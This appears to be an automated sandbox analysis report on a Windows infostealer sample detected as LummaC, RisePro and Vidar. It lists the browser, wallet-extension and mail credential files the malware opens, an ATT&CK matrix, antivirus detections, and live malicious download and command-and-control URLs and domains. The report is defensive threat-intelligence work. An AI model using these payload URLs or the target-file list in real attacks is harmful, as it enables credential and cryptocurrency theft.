Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\U4XS0oCaLxVS1ZKFaAUvhYs.zip, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: 22.2.EWDN0G9BRDazVJeatNlA.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MSIUpdaterV168.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.MSIUpdaterV168.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.1917031958.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1855823531.0000000000778000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1878372418.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EWDN0G9BRDazVJeatNlA.exe PID: 7032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSIUpdaterV168.exe PID: 7176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSIUpdaterV168.exe PID: 7188, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7EDB10 sqlite3_initialize,sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	23_2_1B7EDB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B89D9E0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	23_2_1B89D9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B815910 sqlite3_mprintf,sqlite3_bind_int64,	23_2_1B815910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7F1FE0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	23_2_1B7F1FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7EDFC0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_mprintf,sqlite3_bind_text,sqlite3_step,sqlite3_reset,	23_2_1B7EDFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B785C70 sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	23_2_1B785C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B82D3B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	23_2_1B82D3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8151D0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	23_2_1B8151D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B809090 sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_errmsg,sqlite3_mprintf,	23_2_1B809090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B84D610 sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	23_2_1B84D610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8155B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	23_2_1B8155B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8914D0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	23_2_1B8914D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B89D4F0 sqlite3_bind_value,sqlite3_log,sqlite3_log,sqlite3_log,	23_2_1B89D4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B784820 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,sqlite3_initialize,	23_2_1B784820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7A0FB0 sqlite3_result_int64,sqlite3_result_double,sqlite3_result_int,sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	23_2_1B7A0FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B854D40 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,InitOnceBeginInitialize,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	23_2_1B854D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7E8200 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	23_2_1B7E8200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7C06E0 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	23_2_1B7C06E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B798680 sqlite3_mprintf,sqlite3_mprintf,sqlite3_initialize,sqlite3_finalize,sqlite3_free,sqlite3_mprintf,sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_int64,	23_2_1B798680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7C8550 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,	23_2_1B7C8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8537E0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	23_2_1B8537E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B833770 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	23_2_1B833770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B79B400 sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,sqlite3_reset,sqlite3_step,sqlite3_reset,sqlite3_column_int64,	23_2_1B79B400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7CEF30 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	23_2_1B7CEF30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7DE200 sqlite3_initialize,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	23_2_1B7DE200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7EE170 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	23_2_1B7EE170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7DE090 sqlite3_bind_int64,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	23_2_1B7DE090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7EA6F0 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,	23_2_1B7EA6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7866C0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_bind_value,sqlite3_free,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	23_2_1B7866C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Native API	1 Scheduled Task/Job	511 Process Injection	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	57 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	371 Security Software Discovery	SSH	Keylogging	123 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Virtualization/Sandbox Evasion	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	511 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
1kBeqS7E3z.exe	53%	Virustotal		Browse
1kBeqS7E3z.exe	63%	ReversingLabs	Win32.Trojan.Stealerc
1kBeqS7E3z.exe	100%	Avira	HEUR/AGEN.1317017
1kBeqS7E3z.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vidar1906[1].exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma1906_2[1].exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	100%	Avira	HEUR/AGEN.1317017
C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\rise1906[1].exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	100%	Avira	HEUR/AGEN.1317017
C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	100%	Avira	HEUR/AGEN.1317017
C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	100%	Avira	HEUR/AGEN.1317017
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vidar1906[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma1906_2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\rise1906[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	66%	ReversingLabs	Win32.Spyware.Risepro
C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	63%	ReversingLabs	Win32.Trojan.Stealerc
C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	63%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	66%	ReversingLabs	Win32.Spyware.Risepro
C:\Users\user\AppData\Local\AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06\AdobeUpdaterV168.exe	63%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe	63%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\rise1906[1].exe	63%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlt[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma1906_2[1].exe	63%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vidar1906[1].exe	66%	ReversingLabs	Win32.Spyware.Risepro
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	66%	ReversingLabs	Win32.Spyware.Risepro
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	63%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	63%	ReversingLabs	Win32.Trojan.Stealerc

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
ipinfo.io	0%	Virustotal	Browse
t.me	0%	Virustotal	Browse
db-ip.com	0%	Virustotal	Browse
justifycanddidatewd.shop	14%	Virustotal	Browse
strwawrunnygjwu.shop	14%	Virustotal	Browse
richardflorespoew.shop	15%	Virustotal	Browse
falseaudiencekd.shop	14%	Virustotal	Browse
marathonbeedksow.shop	15%	Virustotal	Browse
raiseboltskdlwpow.shop	14%	Virustotal	Browse
feighminoritsjda.shop	13%	Virustotal	Browse
pleasurenarrowsdla.shop	14%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://feighminoritsjda.shop/	100%	Avira URL Cloud	malware
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/;P	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://t.me/memve4erin	100%	Avira URL Cloud	malware
http://5.42.65.116/rise1906.exe~R	100%	Avira URL Cloud	phishing
https://ipinfo.io/=s	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/7	100%	Avira URL Cloud	malware
https://t.me/memve4erin	2%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://db-ip.com/	0%	Avira URL Cloud	safe
richardflorespoew.shop	0%	Avira URL Cloud	safe
https://feighminoritsjda.shop/	14%	Virustotal		Browse
http://5.42.65.116/lumma1906_2.exe	100%	Avira URL Cloud	phishing
https://falseaudiencekd.shop/api	100%	Avira URL Cloud	malware
https://raiseboltskdlwpow.shop/	0%	Avira URL Cloud	safe
http://5.42.65.116/lumma1906_2.exe	25%	Virustotal		Browse
https://t.me/risepro	0%	Avira URL Cloud	safe
richardflorespoew.shop	15%	Virustotal		Browse
https://db-ip.com/	0%	Virustotal		Browse
https://162.55.53.18:9000/msvcp140.dll	100%	Avira URL Cloud	malware
https://162.55.53.18:9000/7	11%	Virustotal		Browse
https://falseaudiencekd.shop/api	16%	Virustotal		Browse
https://162.55.53.18:9000/G	100%	Avira URL Cloud	malware
https://162.55.53.18:9000/softokn3.dll	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/freebl3.dllO.&d	100%	Avira URL Cloud	malware
https://162.55.53.18:9000/vcruntime140.dll000/nss3.dll	100%	Avira URL Cloud	malware
feighminoritsjda.shop	100%	Avira URL Cloud	malware
https://richardflorespoew.shop/P?	0%	Avira URL Cloud	safe
https://raiseboltskdlwpow.shop/	0%	Virustotal		Browse
https://t.me/risepro	0%	Virustotal		Browse
https://162.55.53.18:9000AEBMac	0%	Avira URL Cloud	safe
strwawrunnygjwu.shop	0%	Avira URL Cloud	safe
http://ns.exif/1b	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/msvcp140.dll	11%	Virustotal		Browse
https://strwawrunnygjwu.shop/api	100%	Avira URL Cloud	malware
raiseboltskdlwpow.shop	0%	Avira URL Cloud	safe
http://5.42.65.116/vidar1906.exe	100%	Avira URL Cloud	phishing
raiseboltskdlwpow.shop	14%	Virustotal		Browse
https://162.55.53.18:9000/l	100%	Avira URL Cloud	malware
http://5.42.65.116/vidar1906.exe	24%	Virustotal		Browse
https://t.me/risepro_bot33	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/l	11%	Virustotal		Browse
pleasurenarrowsdla.shop	0%	Avira URL Cloud	safe
https://strwawrunnygjwu.shop/api	16%	Virustotal		Browse
https://162.55.53.18:9000al	0%	Avira URL Cloud	safe
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORT	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/nss3.dlloft	100%	Avira URL Cloud	malware
strwawrunnygjwu.shop	14%	Virustotal		Browse
https://justifycanddidatewd.shop/apie	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/vcruntime140.dll;NTd&	100%	Avira URL Cloud	malware
https://162.55.53.18:9000/2f2b3osoft	100%	Avira URL Cloud	malware
https://162.55.53.18/;	100%	Avira URL Cloud	malware
https://162.55.53.18:9000/vcruntime140.dll	100%	Avira URL Cloud	malware
https://richardflorespoew.shop/api	100%	Avira URL Cloud	malware
https://www.maxmind.com/en/locate-my-ip-address	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/freebl3.dll	100%	Avira URL Cloud	malware
http://5.42.65.116/lumma1906_2.exelF	100%	Avira URL Cloud	phishing
http://ns.adp/1.0/	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/softokn3.dll2	100%	Avira URL Cloud	malware
https://richardflorespoew.shop/	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199699680841	100%	Avira URL Cloud	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	Avira URL Cloud	safe
https://justifycanddidatewd.shop/api	100%	Avira URL Cloud	malware
https://162.55.53.18:9000/mozglue.dll	100%	Avira URL Cloud	malware
https://162.55.53.18:9000/.53.18:9000/	100%	Avira URL Cloud	malware
https://ipinfo.io/#	0%	Avira URL Cloud	safe
justifycanddidatewd.shop	0%	Avira URL Cloud	safe
https://db-ip.com/demo/home.php?s=8.46.123.33d	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/nss3.dll$	100%	Avira URL Cloud	malware
https://ipinfo.io:443/widget/demo/8.46.123.33	0%	Avira URL Cloud	safe
